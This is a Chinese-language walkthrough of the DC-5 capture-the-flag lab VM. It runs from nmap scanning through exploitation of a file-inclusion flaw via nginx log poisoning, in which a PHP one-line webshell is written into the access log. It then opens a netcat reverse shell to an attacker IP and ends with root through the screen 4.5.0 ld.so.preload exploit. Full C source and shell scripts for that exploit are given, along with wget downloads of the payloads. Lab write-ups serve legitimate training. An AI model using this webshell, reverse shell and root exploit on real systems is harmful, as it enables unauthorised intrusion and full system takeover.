1.查看dc-5主机mac地址
注意:这里最好把dc5虚拟机做一个克隆,后面需要恢复快照.
2. nmap扫描
nmap -sP 192.168.1.0/24 -oN nmap.sP
nmap -A 192.168.1.6 -p 0-6635 -oN nmap.A
发现目标靶机地址为192.168.1.6
查看目标主机开放那些端口
由于开发80我们登录随便看一看
这些网站页面都放在根目录下,我们可以用御剑扫描后台,发现最后一个页面这里可以提交表单,参数(都显示在url里)
思考:之前thankyou那个页面每次刷新也都变化,说明thankyou那个网页包含footer.php说明存在文件包含但是不知道是不是存在动态包含漏洞
3.检测是否存在文件包含漏洞
我们用bp抓包,爆破可能存在动态包含的变量名
发现爆破结果都一样
这里我们改变一下动态包含的文件为/etc/passwd再次爆破
发现存在动态包含,而且变量名为file
我们可以利用文件包含漏洞去包含任意文件无视文件扩展名,,如果文件中有php代码,无条件执行
注意:这里主要是想给大家提供一种思路,变量字典自己手工弄的,没有强大的字典
这里我们想到上传一个木马,但是无法上传,
思考:这里是否可以利用文件包含漏洞上传到本地文件
可以通过在系统日志中写入代码,在通过文件文件包含系统日志文件去执行日志中的相关php 代码
这里是nginx服务器,日志在:
/var/log/nginx/access.log
1.然后抓包写入一句话木马
注 :在写入快照前最好恢复快照因为经过爆破日志很多,连接蚁剑时不稳定。
一句话木马:
@eval($_REQUEST[666])?>
查看写入木马:
2.蚁剑连接
3.新建木马
注:为啥新建木马文件,因为我们当前的一句话在日志文件下,日志文件变化快对操作有影响,可能出现连接不稳定无法连接的时候,所以要进行重新连接。(和还原快照一样)
重新蚁剑连接:
进入终端
查看当前用户,以及根下root文件,无权,下一步反弹shell提权
nc -e /bin/bash 192.168.1.16 1234
nc -lvvp 1234 //监听
python -c 'import pty;pty.spawn("/bin/bash")' //进入交互模式
1.查看哪些命令具有root权限且没有密码
sudo -l
**```
2.有没有一些具有suid权限的命令**
发现有一个screen-4.5.0具有root权限,下一步查找这个软件是否有漏洞
```bash
find / -perm -4000 2>/dev/null
3.查找漏洞
找到41154.sh后,把个脚本拷贝到当前目录下
kali下开启http服务
python -m SimpleHTTPServer
发现运行错误,我们查看脚本,我们尝试本地编译其内的两个c语言程序
4将该脚本拆分成3部分
具体内容如下:
1)编译libhac.c
#include
#include
#include
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
编译生成libhax.so
gcc -fPIC -shared -ldl -o libhax.so libhax.c
2)编译rootshell.c
#include
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
编译生成shellroot
gcc -o rootshell rootshell.c
3)编译run.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
kali开启http服务
python -m SimpleHTTPServer
5.靶机/tmp 目录下远程下载:
wget http://192.168.1.12:8000/rootshell
wget http://192.168.1.12:8000/libhax.so
wget http://192.168.1.12:8000/run.sh
chmod 777 libhax.so
chmod 777 rootshell
chmod 777 run.sh